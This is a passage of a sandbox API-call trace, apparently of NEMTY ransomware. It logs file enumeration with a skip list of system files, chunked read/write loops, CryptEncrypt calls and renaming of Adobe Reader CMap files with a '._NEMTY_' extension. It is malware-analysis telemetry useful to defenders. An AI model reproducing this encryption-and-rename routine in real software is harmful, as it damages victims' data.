lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.882] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.891] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.891] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.901] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.901] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.912] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.918] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.918] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0211.924] CloseHandle (hObject=0xffffffff) returned 0 [0211.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0211.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0211.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0211.924] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0211.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0211.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0211.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0211.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0211.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.925] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-ucs2-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-ucs2-h._nemty_kgobjgd_")) returned 0 [0211.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0211.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0211.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0211.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0211.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0211.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0211.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0211.925] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd09, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UCS2-V", cAlternateFileName="UNIGB-~1")) returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2=".") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="..") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="...") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="windows") returned -1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="$RECYCLE.BIN") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="rsa") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="NTDETECT.COM") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="ntldr") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="MSDOS.SYS") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="IO.SYS") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="boot.ini") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="boot.ini") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="AUTOEXEC.BAT") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="ntuser.dat") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="desktop.ini") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="CONFIG.SYS") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="RECYCLER") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="BOOTSECT.BAK") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="bootmgr") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="programdata") returned 1 [0211.925] lstrcmpiW (lpString1="UniGB-UCS2-V", lpString2="appdata") returned 1 [0211.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-V", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0211.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-V", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UCS2-V", lpUsedDefaultChar=0x0) returned 12 [0211.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-V", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0211.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-V", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UCS2-V", lpUsedDefaultChar=0x0) returned 12 [0211.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-V", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0211.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-V", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UCS2-V", lpUsedDefaultChar=0x0) returned 12 [0211.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-V", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0211.926] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniGB-UCS2-V", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniGB-UCS2-V", lpUsedDefaultChar=0x0) returned 12 [0211.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0211.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0211.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0211.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0211.926] Sleep (dwMilliseconds=0x5) [0211.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31f69c10, dwHighDateTime=0x1d561e8)) [0211.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31f69c10, dwHighDateTime=0x1d561e8)) [0211.939] GetLastError () returned 0x5 [0211.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0211.939] GetLastError () returned 0x5 [0211.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0211.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0211.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0211.940] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0211.940] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0211.940] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0211.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0211.940] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="hnjbySQ+E/dKcNVtuRfV1KwYaVFHXYsk/rERVB7YLSAF3IWmC3AWiqaVYSG85aJB\r\nEDFFD8ep5mqNCMmIdpM8398Yob9LFTJMyeEnq7KuXSOI1LhpbcqBsqf5F53G3eG+\r\nSvejdpR+XaSnw68gc4GJ3noGLOx2+ZIp8qGSBXi25lRYzeei3Q/C0F5tF69y9sx4\r\n41KGsgwYO1SpzyQ6lDnrrfqguKZIl2K7mxqFNhiJNnw7TpKeYwPUmKLKSl5WIEAo\r\niGS5aYXR+VJGPacHyfPSTF4STNK2akNztoFCvWmutH5E+AQDC0COteJqaJwacrQx\r\njJTgoMbK1CS+cfMio3pjiw==\r\n", pcchString=0x653e91c) returned 1 [0211.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0211.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0211.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0211.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0211.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0211.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0211.940] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UCS2-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-ucs2-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.940] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0211.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0211.940] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.940] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.950] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.950] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.959] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.960] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.978] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.978] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0211.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0211.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0211.998] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.016] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.026] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.026] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, 